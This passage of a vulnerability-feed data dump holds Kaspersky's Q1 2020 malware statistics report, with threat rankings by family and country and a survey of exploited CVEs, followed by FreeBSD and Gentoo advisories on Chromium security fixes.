FakeAdBlocker families. Third place was taken by Bangladesh (18.58%), where half of the top 10 mobile threats consisted of adware in the HiddenAd family.\n\n### Mobile banking trojans\n\nDuring the reporting period, we detected **42,115** installation packages of mobile banking trojans. This is the highest value in the past 18 months, and more than 2.5 times higher than in Q4 2019. The largest contributions to the statistics came from the Trojan-Banker.AndroidOS.Agent (42.79% of all installation packages detected), Trojan-Banker.AndroidOS.Wroba (16.61%), and Trojan-Banker.AndroidOS.Svpeng (13.66%) families.\n\n_Number of installation packages of mobile banking trojans detected by Kaspersky, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194342/sl_malware_report_04-kolichestvo-ustanovochnyh-paketov-mobilnyh-bankovskih-troyancev-q1-2019-q1-2019.png>)_\n\n**Top 10 mobile banking trojans**\n\n_ _ | **Verdict** | **%*** \n---|---|--- \n_1_ | Trojan-Banker.AndroidOS.Rotexy.e | 13.11 \n_2_ | Trojan-Banker.AndroidOS.Svpeng.q | 10.25 \n_3_ | Trojan-Banker.AndroidOS.Asacub.snt | 7.64 \n_4_ | Trojan-Banker.AndroidOS.Asacub.ce | 6.31 \n_5_ | Trojan-Banker.AndroidOS.Agent.eq | 5.70 \n_6_ | Trojan-Banker.AndroidOS.Anubis.san | 4.68 \n_7_ | Trojan-Banker.AndroidOS.Agent.ep | 3.65 \n_8_ | Trojan-Banker.AndroidOS.Asacub.a | 3.50 \n_9_ | Trojan-Banker.AndroidOS.Asacub.ar | 3.00 \n_10_ | Trojan-Banker.AndroidOS.Agent.cf | 2.70 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by banking threats._\n\nFirst and second places in our top 10 were claimed by trojans targeted at Russian-speaking mobile users: Trojan-Banker.AndroidOS.Rotexy.e (13.11%) and Trojan-Banker.AndroidOS.Svpeng.q (10.25%).\n\nThird, fourth, eighth, and ninth positions in the top 10 mobile banking threats went to members of the Asacub family. The cybercriminals behind this trojan stopped creating new samples, but its distribution channels were still active in Q1.\n\n_Geography of mobile banking threats, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194517/sl_malware_report_05-en-mobile-banker-map.png>)_\n\n**Top 10 countries by share of users attacked by mobile banking trojans**\n\n| Country* | %** \n---|---|--- \n1 | Japan | 0.57 \n2 | Spain | 0.48 \n3 | Italy | 0.26 \n4 | Bolivia | 0.18 \n5 | Russia | 0.17 \n6 | Turkey | 0.13 \n7 | Tajikistan | 0.13 \n8 | Brazil | 0.11 \n9 | Cuba | 0.11 \n10 | China | 0.10 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked by mobile banking trojans as a percentage of all users of Kaspersky mobile products in the country._\n\nIn Q1 2020, Japan (0.57%) had the largest share of users attacked by mobile bankers; the vast majority of cases involved Trojan-Banker.AndroidOS.Agent.eq.\n\nIn second place came Spain (0.48%), where in more than half of all cases, we detected malware from the Trojan-Banker.AndroidOS.Cebruser family, and another quarter of detections were members of the Trojan-Banker.AndroidOS.Ginp family.\n\nThird place belonged to Italy (0.26%), where, as in Spain, the Trojan-Banker.AndroidOS.Cebruser family was the most widespread with almost two-thirds of detections.\n\nIt is worth saying a bit more about the Cebruser family. Its creators were among the first to exploit the coronavirus topic to spread the malware.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13183112/sl_malware_report.png>)When it runs, the trojan immediately gets down to business: it requests access to Accessibility Services to obtain Device Admin permissions, and then tries to get hold of card details.\n\nThe malware is distributed under the [Malware-as-a-Service](<https://encyclopedia.kaspersky.com/glossary/malware-as-a-service-maas/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) model; its set of functions is standard for such threats, but with one interesting detail \u2014 the use of a step-counter for activation so as to bypass dynamic analysis tools ([sandbox](<https://encyclopedia.kaspersky.com/glossary/sandbox/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)). Cebruser targets the mobile apps of banks in various countries and popular non-financial apps; its main weapons are phishing windows and interception of two-factor authorization. In addition, the malware can block the screen using a ransomware tool and intercept keystrokes on the virtual keyboard.\n\n### Mobile ransomware trojans\n\nIn Q2 2020, we detected **4,339** installation packages of mobile trojan ransomware, 1,067 fewer than in the previous quarter.\n\n_Number of installation packages of mobile ransomware trojans detected by Kaspersky, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194615/sl_malware_report_06-kolichestvo-ustanovochnyh-paketov-mobilnyh-troyancev-vymogatelej-q1-2018-q1-2019.png>)_\n\n**Top 10 mobile ransomware trojans**\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Ransom.AndroidOS.Svpeng.aj | 17.08 \n2 | Trojan-Ransom.AndroidOS.Congur.e | 12.70 \n3 | Trojan-Ransom.AndroidOS.Small.as | 11.41 \n4 | Trojan-Ransom.AndroidOS.Rkor.k | 9.88 \n5 | Trojan-Ransom.AndroidOS.Small.as | 7.32 \n6 | Trojan-Ransom.AndroidOS.Small.o | 4.79 \n7 | Trojan-Ransom.AndroidOS.Svpeng.aj | 3.62 \n8 | Trojan-Ransom.AndroidOS.Svpeng.ah | 3.55 \n9 | Trojan-Ransom.AndroidOS.Congur.e | 3.32 \n10 | Trojan-Ransom.AndroidOS.Fusob.h | 3.17 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile products who were attacked by ransomware trojans._\n\nOver the past few quarters, the number of ransomware trojans detected has been gradually decreasing; all the same, we continue to detect quite a few infection attempts by this class of threats. The main contributors to the statistics were the Svpeng, Congur, and Small ransomware families.\n\n_Geography of mobile ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194659/sl_malware_report_07-en-mobile-ransom-map.png>)_\n\nTop 10 countries by share of users attacked by mobile ransomware trojans:\n\n| **Country*** | **%**** \n---|---|--- \n1 | USA | 0.26 \n2 | Kazakhstan | 0.25 \n3 | Iran | 0.16 \n4 | China | 0.09 \n5 | Saudi Arabia | 0.08 \n6 | Italy | 0.03 \n7 | Mexico | 0.03 \n8 | Canada | 0.03 \n9 | Indonesia | 0.03 \n10 | Switzerland | 0.03 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky mobile products (under 10,000)._ \n_** Unique users attacked by mobile ransomware trojans as a percentage of all users of Kaspersky mobile products in the country._\n\nThe leaders by number of users attacked by mobile ransomware trojans are Syria (0.28%), the United States (0.26%) and Kazakhstan (0.25%)\n\n## Attacks on Apple macOS\n\nIn Q1 2020, we detected not only new versions of common threats, but one new backdoor family, whose first member was Backdoor.OSX.Capip.a. The malware's operating principle is simple: it calls the C&C for a shell script, which it then downloads and executes.\n\n### Top 20 threats to macOS\n\n| Verdict | %* \n---|---|--- \n1 | Trojan-Downloader.OSX.Shlayer.a | 19.27 \n2 | AdWare.OSX.Pirrit.j | 10.34 \n3 | AdWare.OSX.Cimpli.k | 6.69 \n4 | AdWare.OSX.Ketin.h | 6.27 \n5 | AdWare.OSX.Pirrit.aa | 5.75 \n6 | AdWare.OSX.Pirrit.o | 5.74 \n7 | AdWare.OSX.Pirrit.x | 5.18 \n8 | AdWare.OSX.Spc.a | 4.56 \n9 | AdWare.OSX.Cimpli.f | 4.25 \n10 | AdWare.OSX.Bnodlero.t | 4.08 \n11 | AdWare.OSX.Bnodlero.x | 3.74 \n12 | Hoax.OSX.SuperClean.gen | 3.71 \n13 | AdWare.OSX.Cimpli.h | 3.37 \n14 | AdWare.OSX.Pirrit.v | 3.30 \n15 | AdWare.OSX.Amc.c | 2.98 \n16 | AdWare.OSX.MacSearch.d | 2.85 \n17 | RiskTool.OSX.Spigot.a | 2.84 \n18 | AdWare.OSX.Pirrit.s | 2.80 \n19 | AdWare.OSX.Ketin.d | 2.76 \n20 | AdWare.OSX.Bnodlero.aq | 2.70 \n \n_* Unique users attacked by this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked_\n\nThe top 20 threats for macOS did not undergo any major changes in Q1 2020. The adware trojan Shlayer.a (19.27%) still tops the leaderboard, followed by objects that Shlayer itself loads into the infected system, in particular, numerous adware apps from the Pirrit family.\n\nInterestingly, the unwanted program Hoax.OSX.SuperClean.gen landed in 12th place on the list. Like other Hoax-type programs, it is distributed under the guise of a system cleanup app, and immediately after installation, scares the user with problems purportedly found in the system, such as gigabytes of trash on the hard drive.\n\n### Threat geography\n\n| **Country*** | **%**** \n---|---|--- \n1 | Spain | 7.14 \n2 | France | 6.94 \n3 | Italy | 5.94 \n4 | Canada | 5.58 \n5 | USA | 5.49 \n6 | Russia | 5.10 \n7 | India | 4.88 \n8 | Mexico | 4.78 \n9 | Brazil | 4.65 \n10 | Belgium | 4.65 \n \n_* Excluded from the rankings are countries with relatively few users of Kaspersky security solutions for macOS (under 5,000)_ \n_** Unique users who encountered macOS threats as a percentage of all users of Kaspersky security solutions for macOS in the country._\n\nThe leading countries, as in previous quarters, were Spain (7.14%), France (6.94%) and Italy (5.94%). The main contributors to the number of detections in these countries were the familiar Shlayer trojan and adware apps from the Pirrit family.\n\n## IoT attacks\n\n### IoT threat statistics\n\nIn Q1 2020, the share of IP addresses from which attempts were made to attack Kaspersky telnet traps increased significantly. Their share amounted to 81.1% of all IP addresses from which attacks were carried out, while SSH traps accounted for slightly less than 19%. \n \nSSH | 18.9% \nTelnet | 81.1% \n \n_Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q1 2020_\n\nIt was a similar situation with control sessions: attackers often controlled infected traps via telnet. \n \nSSH | 39.62% \nTelnet | 60.38% \n \n_Distribution of cybercriminal working sessions with Kaspersky traps, Q1 2020_\n\n### Telnet-based attacks\n\n \n\n_Geography of device IP addresses where attacks at Kaspersky telnet traps originated, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194811/sl_malware_report_09-en-telnet-geo.png>)_\n\n**Top 10 countries by location of devices from which attacks were carried out on Kaspersky telnet traps.**\n\nCountry* | **%** \n---|--- \nChina | 13.04 \nEgypt | 11.65 \nBrazil | 11.33 \nVietnam | 7.38 \nTaiwan | 6.18 \nRussia | 4.38 \nIran | 3.96 \nIndia | 3.14 \nTurkey | 3.00 \nUSA | 2.57 \n \n_ _ \nFor several quarters in a row, the leading country by number of attacking bots has been China: in Q1 2020 its share stood at 13.04%. As before, it is followed by Egypt (11.65%) and Brazil (11.33%).\n\n### SSH-based attacks\n\n \n\n_Geography of device IP addresses where attacks at Kaspersky SSH traps originated, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194853/sl_malware_report_10-en-ssh-geo.png>)_\n\n**Top 10 countries by location of devices from which attacks were made on Kaspersky SSH traps.**\n\nCountry* | % \n---|--- \nChina | 14.87 \nVietnam | 11.58 \nUSA | 7.03 \nEgypt | 6.82 \nBrazil | 5.79 \nRussia | 4.66 \nIndia | 4.16 \nGermany | 3.64 \nThailand | 3.44 \nFrance | 2.83 \n \nIn Q1 2020, China (14.87%), Vietnam (11.58%) and the US (7.03%) made up the top three countries by number of unique IPs from which attacks on SSH traps originated.\n\n### Threats loaded into honeypots\n\n**Verdict** | %* \n---|--- \nTrojan-Downloader.Linux.NyaDrop.b | 64.35 \nBackdoor.Linux.Mirai.b | 16.75 \nBackdoor.Linux.Mirai.ba | 6.47 \nBackdoor.Linux.Gafgyt.a | 4.36 \nBackdoor.Linux.Gafgyt.bj | 1.30 \nTrojan-Downloader.Shell.Agent.p | 0.68 \nBackdoor.Linux.Mirai.c | 0.64 \nBackdoor.Linux.Hajime.b | 0.46 \nBackdoor.Linux.Mirai.h | 0.40 \nBackdoor.Linux.Gafgyt.av | 0.35 \n \n_* Share of malware type in the total amount of malware downloaded to IoT devices following a successful attack._\n\nIn Q1 2020, attackers most often downloaded the minimalistic trojan loader NyaDrop (64.35%), whose executable file does not exceed 500 KB. Threats from the Mirai family traditionally dominated: its members claimed four places in our top 10. These malicious programs will continue to rule the world of IoT threats for a long time to come, at least until the appearance of a more advanced (and publicly available) DDoS bot.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q1 2020, Kaspersky solutions blocked attempts to launch one or several types of malware designed to steal money from bank accounts on the computers of 249,748 users.\n\n_Number of unique users attacked by financial malware, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13194937/sl_malware_report_11-en-finance.png>)_\n\n**Attack geography**\n\nTo assess and compare the risk of being infected by banking trojans and ATM/POS malware in various countries, for each country we calculated the share of users of Kaspersky products that faced this threat during the reporting period out of all users of our products in that country.\n\n_Geography of banking malware attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195018/sl_malware_report_12-en-finance-map.png>)_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Uzbekistan | 10.5 \n2 | Tajikistan | 6.9 \n3 | Turkmenistan | 5.5 \n4 | Afghanistan | 5.1 \n5 | Yemen | 3.1 \n6 | Kazakhstan | 3.0 \n7 | Guatemala | 2.8 \n8 | Syria | 2.4 \n9 | Sudan | 2.1 \n10 | Kyrgyzstan | 2.1 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Emotet | Backdoor.Win32.Emotet | 21.3 | \n2 | Zbot | Trojan.Win32.Zbot | 20.8 | \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 17.2 | \n4 | RTM | Trojan-Banker.Win32.RTM | 12.3 | \n5 | Nimnul | Virus.Win32.Nimnul | 3.6 | \n6 | Trickster | Trojan.Win32.Trickster | 3.6 | \n7 | Neurevt | Trojan.Win32.Neurevt | 3.3 | \n8 | SpyEye | Trojan-Spy.Win32.SpyEye | 2.3 | \n9 | Danabot | Trojan-Banker.Win32.Danabot | 2.0 | \n10 | Nymaim | Trojan.Win32.Nymaim | 1.9 | \n \n_** Unique users attacked by this malware family as a __percentage of all users attacked by financial malware._\n\n## Ransomware programs\n\n### Quarterly highlights\n\nRansomware attacks on organizations, as well as on city and municipal networks, did not ease off. Given how lucrative they are for cybercriminals, there is no reason why this trend of several years should cease.\n\nMore and more ransomware is starting to supplement encryption with data theft. To date, this tactic has been adopted by distributors of ransomware families, including Maze, REvil/Sodinokibi, DoppelPaymer and JSWorm/Nemty/Nefilim. If the victim refuses to pay the ransom for decryption (because, say, the data was recovered from a backup copy), the attackers threaten to put the stolen confidential information in the public domain. Such threats are sometimes empty, but not always: the authors of several ransomware programs have set up websites that do indeed publish the data of victim organizations.\n\n### Number of new modifications\n\nIn Q1 2020, we detected five new ransomware families and 5,225 new modifications of these malware programs.\n\n_Number of new ransomware modifications detected, Q1 2019 \u2013 Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195150/sl_malware_report_13-ransomware-novye-modifikacii.png>)_\n\n### Number of users attacked by ransomware trojans\n\nIn Q1 2020, Kaspersky products and technologies protected 178,922 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13195235/sl_malware_report_14-en-ransomware-atakovannye-polzovateli.png>)_\n\n### Attack geography\n\n \n\n_Geography of attacks by ransomware trojans, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201512/sl_malware_report_15-en-ransomware-map.png>)_\n\n**Top 10 countries attacked by ransomware trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 6.64 \n2 | Uzbekistan | 1.98 \n3 | Mozambique | 1.77 \n4 | Ethiopia | 1.67 \n5 | Nepal | 1.34 \n6 | Afghanistan | 1.31 \n7 | Egypt | 1.21 \n8 | Ghana | 0.83 \n9 | Azerbaijan | 0.81 \n10 | Serbia | 0.74 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000)._ \n_** Unique users whose computers were attacked by ransomware trojans as a percentage of all unique users of Kaspersky products in the country._\n\n### Top 10 most common families of ransomware trojans\n\n| **Name** | **Verdicts** | **%*** \n---|---|---|--- \n1 | WannaCry | Trojan-Ransom.Win32.Wanna | 19.03 | \n2 | (generic verdict) | Trojan-Ransom.Win32.Gen | 16.71 | \n3 | (generic verdict) | Trojan-Ransom.Win32.Phny | 16.22 | \n4 | GandCrab | Trojan-Ransom.Win32.GandCrypt | 7.73 | \n5 | Stop | Trojan-Ransom.Win32.Stop | 6.62 | \n6 | (generic verdict) | Trojan-Ransom.Win32.Encoder | 4.28 | \n7 | (generic verdict) | Trojan-Ransom.Win32.Crypren | 4.15 | \n8 | PolyRansom/VirLock | Virus.Win32.PolyRansom,\n\nTrojan-Ransom.Win32.PolyRansom | 2.96 | \n9 | Crysis/Dharma | Trojan-Ransom.Win32.Crusis | 2.02 | \n10 | (generic verdict) | Trojan-Ransom.Win32.Generic | 1.56 | \n| | | | | \n \n_* Unique Kaspersky users __attacked by the specified family of ransomware trojans as a percentage of all users attacked by ransomware trojans._\n\n## Miners\n\n### Number of new modifications\n\nIn Q1 2020, Kaspersky solutions detected 192,036 new miner modifications.\n\n_Number of new miner modifications, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201558/sl_malware_report_16-en-miner-kolichestvo-novyh-modifikacij.png>)_\n\n### Number of users attacked by miners\n\nIn Q1, we detected attacks using miners on the computers of 518,857 unique users of Kaspersky Lab products worldwide.\n\n_Number of unique users attacked by miners, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201637/sl_malware_report_17-en-miner-kolichestvo-polzovatelej-atakovannyh-majnerami.png>)_\n\n### Attack geography\n\n \n\n_Geography of miner attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201719/sl_malware_report_18-en-miner-map.png>)_\n\n**Top 10 countries attacked by miners**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Afghanistan | 6.72 \n2 | Ethiopia | 4.90 \n3 | Tanzania | 3.26 \n4 | Sri Lanka | 3.22 \n5 | Uzbekistan | 3.10 \n6 | Rwanda | 2.56 \n7 | Vietnam | 2.54 \n8 | Kazakhstan | 2.45 \n9 | Mozambique | 1.96 \n10 | Pakistan | 1.67 \n \n_* Excluded are countries with relatively few users of Kaspersky products (under 50,000)._ \n_** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country._\n\n## Vulnerable applications used by cybercriminals during cyberattacks\n\nWe already noted that Microsoft Office vulnerabilities are the most common ones. Q1 2020 was no exception: the share of exploits for these vulnerabilities grew to 74.83%. The most popular vulnerability in Microsoft Office was [CVE-2017-11882](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882>), which is related to a stack overflow error in the Equation Editor component. Hard on its heels was [CVE-2017-8570](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>), which is used to embed a malicious script in an OLE object inside an Office document. Several other vulnerabilities, such as [CVE-2018-0802](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802>) and [CVE-2017-8759](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8759>), were also popular with attackers. In the absence of security updates for Microsoft Office, these vulnerabilities are successfully exploited and the user's system becomes infected.\n\nIn second place were exploits for vulnerabilities in Internet browsers (11.06%). In Q1, cybercriminals attacked a whole host of browsers, including Microsoft Internet Explorer, Google Chrome, and Mozilla Firefox. What's more, some of the vulnerabilities were used in APT attacks, such as [CVE-2020-0674](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674>), which is associated with the incorrect handling of objects in memory in an outdated version of the JScript scripting engine in Internet Explorer, leading to code execution. Another example is the previously identified [CVE-2019-17026](<https://nvd.nist.gov/vuln/detail/CVE-2019-17026>), a data type mismatch vulnerability in Mozilla Firefox's JIT compiler, which also leads to remote code execution. In the event of a successful attack, both browser exploits cause a malware infection. The researchers also detected a targeted attack against Google Chrome exploiting the RCE vulnerability [CVE-2020-6418](<https://nvd.nist.gov/vuln/detail/CVE-2020-6418>) in the JavaScript engine; in addition, the dangerous RCE vulnerability [CVE-2020-0767](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0767>) was detected in a component of the ChakraCore scripting engine used by Microsoft Edge. Although modern browsers have their own protection mechanisms, cybercriminals are forever finding ways around them, very often using chains of exploits to do so. Therefore, it is vital to keep the operating system and software up to date at all times.\n\n_Distribution of exploits used in attacks by type of application attacked, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13201812/sl_malware_report_19-vuln.png>)_\n\nThis quarter, a wide range of critical vulnerabilities were detected in operating systems and their components.\n\n * [CVE-2020-0601](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601>) is a vulnerability that exploits an error in the core cryptographic library of Windows, in a certificate validation algorithm that uses elliptic curves. This vulnerability enables the use of fake certificates that the system recognizes as legitimate.\n * [CVE-2020-0729](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0729>) is a vulnerability in processing LNK files in Windows, which allows remote code execution if the user opens a malicious shortcut.\n * [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>) is the result of a default configuration error in Microsoft Exchange Server, whereby the same cryptographic keys are used to sign and encrypt serialized ASP.NET ViewState data, enabling attackers to execute their own code on the server side with system rights.\n\nVarious network attacks on system services and network protocols were as popular as ever with attackers. We continue to detect attempts at exploiting vulnerabilities in the SMB protocol using EternalBlue, EternalRomance and similar sets of exploits. In Q1 2020, the new vulnerability [CVE-2020-0796](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>) (SMBGhost) was detected in the SMBv3 network protocol, leading to remote code execution, in which regard the attacker does not even need to know the username/password combination (since the error occurs before the authentication stage); however, it is present only in Windows 10. In Remote Desktop Gateway there were found two critical vulnerabilities ([CVE-2020-0609](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0609>) and [CVE-2020-0610](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0610>)) enabling an unauthorized user to execute remote code in the target system. In addition, there were more frequent attempts to brute-force passwords to Remote Desktop Services and Microsoft SQL Server via the SMB protocol as well.\n\n## Attacks via web resources\n\n_The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Malicious websites are specially created by cybercriminals; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected._\n\n### Countries that are sources of web-based attacks: Top 10\n\n_The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks._\n\n_To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established._\n\nIn Q1 2020, Kaspersky solutions defeated 726,536,269 attacks launched from online resources located in 203 countries worldwide. As many as 442,039,230 unique URLs were recognized as malicious by Web Anti-Virus components.\n\n_Distribution of web-based attack sources by country, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13202037/sl_malware_report_20-en-web-source.png>)_\n\n### Countries where users faced the greatest risk of online infection\n\nTo assess the risk of online infection faced by users in different countries, for each country, we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.\n\nThis rating only includes attacks by malicious programs that fall under the **_Malware class_**_;_ it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Bulgaria | 13.89 \n2 | Tunisia | 13.63 \n3 | Algeria | 13.15 \n4 | Libya | 12.05 \n5 | Bangladesh | 9.79 \n6 | Greece | 9.66 \n7 | Latvia | 9.64 \n8 | Somalia | 9.20 \n9 | Philippines | 9.11 \n10 | Morocco | 9.10 \n11 | Albania | 9.09 \n12 | Taiwan, Province of China | 9.04 \n13 | Mongolia | 9.02 \n14 | Nepal | 8.69 \n15 | Indonesia | 8.62 \n16 | Egypt | 8.61 \n17 | Georgia | 8.47 \n18 | France | 8.44 \n19 | Palestine | 8.34 \n20 | Qatar | 8.30 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users targeted by **Malware-class** attacks as a percentage of all unique users of Kaspersky products in the country._\n\n_These statistics are based on detection verdicts returned by the Web Anti-Virus module that were received from users of Kaspersky products who consented to providing statistical data._\n\nOn average, 6.56% of Internet user' computers worldwide experienced at least one **Malware-class** attack.\n\n_Geography of malicious web-based attacks, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13202126/sl_malware_report_21-en-web-map.png>)_\n\n## Local threats\n\n_In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users' computers or removable media connected to computers (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.)._\n\nIn Q1 2020, our File Anti-Virus registered **164,653,290** malicious and potentially unwanted objects.** **\n\n### Countries where users faced the highest risk of local infection\n\nFor each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal-computer infection in different countries.\n\nNote that this rating only includes attacks by malicious programs that fall under the **Malware class**; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.\n\n| Country* | % of attacked users** \n---|---|--- \n1 | Afghanistan | 52.20 \n2 | Tajikistan | 47.14 \n3 | Uzbekistan | 45.16 \n4 | Ethiopia | 45.06 \n5 | Myanmar | 43.14 \n6 | Bangladesh | 42.14 \n7 | Kyrgyzstan | 41.52 \n8 | Yemen | 40.88 \n9 | China | 40.67 \n10 | Benin | 40.21 \n11 | Mongolia | 39.58 \n12 | Algeria | 39.55 \n13 | Laos | 39.21 \n14 | Burkina Faso | 39.09 \n15 | Malawi | 38.42 \n16 | Sudan | 38.34 \n17 | Rwanda | 37.84 \n18 | Iraq | 37.82 \n19 | Vietnam | 37.42 \n20 | Mauritania | 37.26 \n \n_* Excluded are countries with relatively few Kaspersky users (under 10,000)._ \n_** Unique users on whose computers _**_Malware-class_**_ local threats were blocked as a percentage of all unique users of Kaspersky products in the country._\n\n_Geography of local infection attempts, Q1 2020 [(download)](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/05/13202208/sl_malware_report_22-en-local-map.png>)_\n\nOverall, 19.16% of user computers globally faced at least one **Malware**-class local threat during Q1.", "modified": "2020-05-20T10:00:43", "published": "2020-05-20T10:00:43", "id": "SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB", "href": "https://securelist.com/it-threat-evolution-q1-2020-statistics/96959/", "type": "securelist", "title": "IT threat evolution Q1 2020. Statistics", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "freebsd": [{"lastseen": "2019-05-29T18:32:16", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086"], "description": "\nGoogle Chrome releases reports:\n\n30 security fixes in this release\nPlease reference CVE/URL list for details\n\n", "edition": 6, "modified": "2017-06-05T00:00:00", "published": "2017-06-05T00:00:00", "id": "52F4B48B-4AC3-11E7-99AA-E8E0B747A45A", "href": "https://vuxml.freebsd.org/freebsd/52f4b48b-4ac3-11e7-99aa-e8e0b747a45a.html", "title": "chromium -- multiple vulnerabilities", "type": "freebsd", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "gentoo": [{"lastseen": "2017-06-20T22:15:08", "bulletinFamily": "unix", "cvelist": ["CVE-2017-5087", "CVE-2017-5080", "CVE-2017-5082", "CVE-2017-5084", "CVE-2017-5076", "CVE-2017-5073", "CVE-2017-5081", "CVE-2017-5085", "CVE-2017-5074", "CVE-2017-5072", "CVE-2017-5071", "CVE-2017-5078", "CVE-2017-5088", "CVE-2017-5089", "CVE-2017-5083", "CVE-2017-5075", "CVE-2017-5070", "CVE-2017-5077", "CVE-2017-5079", "CVE-2017-5086", "CVE-2017-5068"], "description": "### Background\n\nChromium is an open-source browser project that aims to build a safer, faster, and more stable way for all users to experience the web. \n\n### Description\n\nMultiple vulnerabilities have been discovered in the Chromium web browser. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA remote attacker could possibly execute arbitrary code with the privileges of the process, cause a Denial of Service condition, obtain sensitive information, bypass security restrictions or spoof content. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Chromium users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose\n \">=www-client/chromium-59.0.3071.104\"", "edition": 1, "modified": "2017-06-20T00:00:00", "published": "2017-06-20T00:00:00", "href": "https://security.gentoo.org/glsa/201706-20", "id": "GLSA-201706-20", "title": "Chromium: Multiple vulnerabilities", "type": "gentoo", "cvss": {"score": 0.0, "vector": "NONE"}}], "debian": 